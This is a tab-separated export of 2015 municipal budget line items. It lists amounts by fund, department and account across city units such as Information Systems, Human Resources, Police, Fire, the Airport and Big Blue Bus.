15259	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2015	650.0	0	0	0	0	0	0.0	0	0	0	0	0.0	650.0
15260	BA	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-35000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-35000.0
15261	BA	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	402660.0	FUTURE REPLACEMENT	650.0	Charges for Service	2015	-1190327.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1190327.0
15262	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511748.0	DENTAL	804.0	Salaries and Wages	2015	11428.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11428.0
15263	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2015	1018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1018.0
15264	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		EAP	804.0	Salaries and Wages	2015	1183.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1183.0
15265	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		DCAP	804.0	Salaries and Wages	2015	852.0	0	0	0	0	0	0.0	0	0	0	0	0.0	852.0
15266	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2015	5436.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5436.0
15267	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402163.0	PARKING RECEIPTS	662.0	Other	2015	-57692.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-57692.0
15268	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2015	12390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12390.0
15269	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		DISABILITY INSURANCE		Salaries and Wages	2015	4310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4310.0
15270	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2015	51716.0	0	0	0	0	0	0.0	0	0	0	0	0.0	51716.0
15271	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	10373.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10373.0
15272	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	510000.0	SALARIES AND WAGES	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15273	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	788099.0	0	0	0	0	0	0.0	0	0	0	0	0.0	788099.0
15274	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	156434.0	0	0	0	0	0	0.0	0	0	0	0	0.0	156434.0
15275	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		EAP	804.0	Salaries and Wages	2015	943.0	0	0	0	0	0	0.0	0	0	0	0	0.0	943.0
15276	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
15277	BA	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577040.0	AUDIT FEES	808.0	 Supplies and Expenses	2015	3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3500.0
15278	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407509.0	CAPITAL GR-MOSIP	657.0	Capital Grants	2015	-2180000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2180000.0
15279	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	1011678.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1011678.0
15280	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	200875.0	0	0	0	0	0	0.0	0	0	0	0	0.0	200875.0
15281	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		DCAP	804.0	Salaries and Wages	2015	720.0	0	0	0	0	0	0.0	0	0	0	0	0.0	720.0
15282	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	20856.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20856.0
15283	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	57241.0	0	0	0	0	0	0.0	0	0	0	0	0.0	57241.0
15284	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		DCAP	804.0	Salaries and Wages	2015	790.0	0	0	0	0	0	0.0	0	0	0	0	0.0	790.0
15285	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	4969.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4969.0
15286	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	138472.0	0	0	0	0	0	0.0	0	0	0	0	0.0	138472.0
15287	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511748.0	DENTAL	804.0	Salaries and Wages	2015	10208.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10208.0
15288	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		UNEMPLOYMENT	804.0	Salaries and Wages	2015	3818.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3818.0
15289	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	2800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2800.0
15290	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	4750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4750.0
15291	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	566960.0	PRISONER RETENTION & TRANSPORT	806.0	 Supplies and Expenses	2015	131518.0	0	0	0	0	0	0.0	0	0	0	0	0.0	131518.0
15292	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	14693.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14693.0
15293	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511749.0	VISION	804.0	Salaries and Wages	2015	1470.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1470.0
15294	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511810.0	TUITION REIMBURSEMENT	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15295	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		EAP	804.0	Salaries and Wages	2015	1048.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1048.0
15296	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		WELLNESS	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15297	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2015	314.0	0	0	0	0	0	0.0	0	0	0	0	0.0	314.0
15298	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	24155.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24155.0
15299	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	21911.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21911.0
15300	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2015	147.0	0	0	0	0	0	0.0	0	0	0	0	0.0	147.0
15301	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578470.0	GROUNDSKEEPING TRANSFER	810.0	 Supplies and Expenses	2015	86610.0	0	0	0	0	0	0.0	0	0	0	0	0.0	86610.0
15302	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2015	351.0	0	0	0	0	0	0.0	0	0	0	0	0.0	351.0
15303	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	52038.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52038.0
15304	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	16256.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16256.0
15305	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15306	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	273768.0	0	0	0	0	0	0.0	0	0	0	0	0.0	273768.0
15307	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	7250.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7250.0
15308	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	10818.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10818.0
15309	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2015	8144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8144.0
15310	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	211720.0	0	0	0	0	0	0.0	0	0	0	0	0.0	211720.0
15311	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	8030.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8030.0
15312	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	80000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	80000.0
15313	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588090.0	FURNITURE & FURNISHINGS	808.0	 Supplies and Expenses	2015	5400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5400.0
15314	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407060.0	KEC TENANT RENTALS	618.0	Rentals	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15315	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401900.0	FALSE ALARM	612.0	Charges for Service	2015	-1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1000.0
15316	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577704.0	PROP A REIMB-BUS STOP/SHELTER		 Supplies and Expenses	2015	-60000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-60000.0
15317	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2015	5271.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5271.0
15318	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2015	72.0	0	0	0	0	0	0.0	0	0	0	0	0.0	72.0
15319	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE	810.0	Salaries and Wages	2015	461.0	0	0	0	0	0	0.0	0	0	0	0	0.0	461.0
15320	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577940.0	REIMB FOR PARKING EXPEND	810.0	 Supplies and Expenses	2015	1814643.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1814643.0
15321	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401730.0	LIBRARY CAFE UTILITY REIMBURSE	622.0	Other	2015	-11000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-11000.0
15322	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407790.0	CHILDCARE LINKAGE FEE	622.0	Other	2015	-35000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-35000.0
15323	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
15324	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	1400688.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1400688.0
15325	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		EAP	804.0	Salaries and Wages	2015	1148.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1148.0
15326	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2015	31558.0	0	0	0	0	0	0.0	0	0	0	0	0.0	31558.0
15327	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	354840.0	0	0	0	0	0	0.0	0	0	0	0	0.0	354840.0
15328	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2015	406.0	0	0	0	0	0	0.0	0	0	0	0	0.0	406.0
15329	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		DCAP	804.0	Salaries and Wages	2015	216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	216.0
15330	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	2487.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2487.0
15331	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2015	57691.0	0	0	0	0	0	0.0	0	0	0	0	0.0	57691.0
15332	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	1114583.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1114583.0
15333	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511490.0	OVERTIME	804.0	Salaries and Wages	2015	5803.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5803.0
15334	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511748.0	DENTAL	804.0	Salaries and Wages	2015	12815.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12815.0
15335	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511749.0	VISION	804.0	Salaries and Wages	2015	1659.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1659.0
15336	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	225580.0	0	0	0	0	0	0.0	0	0	0	0	0.0	225580.0
15337	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	3607.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3607.0
15338	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522930.0	VEHICLES - TIRES / TUBES		 Supplies and Expenses	2015	638.0	0	0	0	0	0	0.0	0	0	0	0	0.0	638.0
15339	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	661	WASTEWATER	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	-77000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-77000.0
15340	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401010.0	SWIM CENTER-WET WORKOUTS	612.0	Charges for Service	2015	-19300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-19300.0
15341	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569221.0	MADISON PROJECT	810.0	 Supplies and Expenses	2015	66000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	66000.0
15342	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522630.0	OFFICE RENT	804.0	 Supplies and Expenses	2015	140000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	140000.0
15343	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2015	14232.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14232.0
15344	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	867153.0	0	0	0	0	0	0.0	0	0	0	0	0.0	867153.0
15345	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407910.0	CAP GRNTS - PRP 1B SECURITY	657.0	Capital Grants	2015	-249392.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-249392.0
15346	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	544740.0	ARTIST FELLOWSHIPS	810.0	 Supplies and Expenses	2015	61589.0	0	0	0	0	0	0.0	0	0	0	0	0.0	61589.0
15347	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		MEDICAL-FIRE RETIREE	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15348	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	200.0
15349	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	560.0	0	0	0	0	0	0.0	0	0	0	0	0.0	560.0
15350	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2015	750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	750.0
15351	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2015	1065.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1065.0
15352	BA	IS	1	General Fund	310	FIRE	315	TRAINING	522825.0	FOOD PURCHASES	806.0	 Supplies and Expenses	2015	3585.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3585.0
15353	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15354	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522825.0	FOOD PURCHASES	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15355	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		MEDICAL-RETIREE	840.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15356	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511748.0	DENTAL	804.0	Salaries and Wages	2015	2889.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2889.0
15357	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511749.0	VISION	804.0	Salaries and Wages	2015	441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	441.0
15358	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	70468.0	0	0	0	0	0	0.0	0	0	0	0	0.0	70468.0
15359	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		EAP	804.0	Salaries and Wages	2015	314.0	0	0	0	0	0	0.0	0	0	0	0	0.0	314.0
15360	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15361	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15362	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2015	1538.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1538.0
15363	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2015	283055.0	0	0	0	0	0	0.0	0	0	0	0	0.0	283055.0
15364	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402120.0	AIRPORT - OFFICE / SHOP RENTAL	650.0	Charges for Service	2015	-3741190.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3741190.0
15365	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	5310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5310.0
15366	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15367	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	20040.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20040.0
15368	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	577970.0	INSURANCE ADMIN	804.0	 Supplies and Expenses	2015	62607.0	0	0	0	0	0	0.0	0	0	0	0	0.0	62607.0
15369	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	661	WASTEWATER	405490.0	PARCEL TAX ASSESSMENT	606.0	Other Local Taxes	2015	-3065239.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-3065239.0
15370	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	511490.0	OVERTIME	806.0	Salaries and Wages	2015	284320.0	0	0	0	0	0	0.0	0	0	0	0	0.0	284320.0
15371	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	511490.0	OVERTIME	806.0	Salaries and Wages	2015	10700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10700.0
15372	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511748.0	DENTAL	816.0	Salaries and Wages	2015	25489.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25489.0
15373	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	291812.0	0	0	0	0	0	0.0	0	0	0	0	0.0	291812.0
15374	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	9993.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9993.0
15375	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	3500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3500.0
15376	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	15930.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15930.0
15377	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511749.0	VISION	804.0	Salaries and Wages	2015	1323.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1323.0
15378	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	134743.0	0	0	0	0	0	0.0	0	0	0	0	0.0	134743.0
15379	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	5326.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5326.0
15380	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		UNEMPLOYMENT	804.0	Salaries and Wages	2015	1774.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1774.0
15381	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	1195.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1195.0
15382	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	43504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43504.0
15383	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555030.0	EMPLOYEE MEDICAL EXAMS	804.0	 Supplies and Expenses	2015	36972.0	0	0	0	0	0	0.0	0	0	0	0	0.0	36972.0
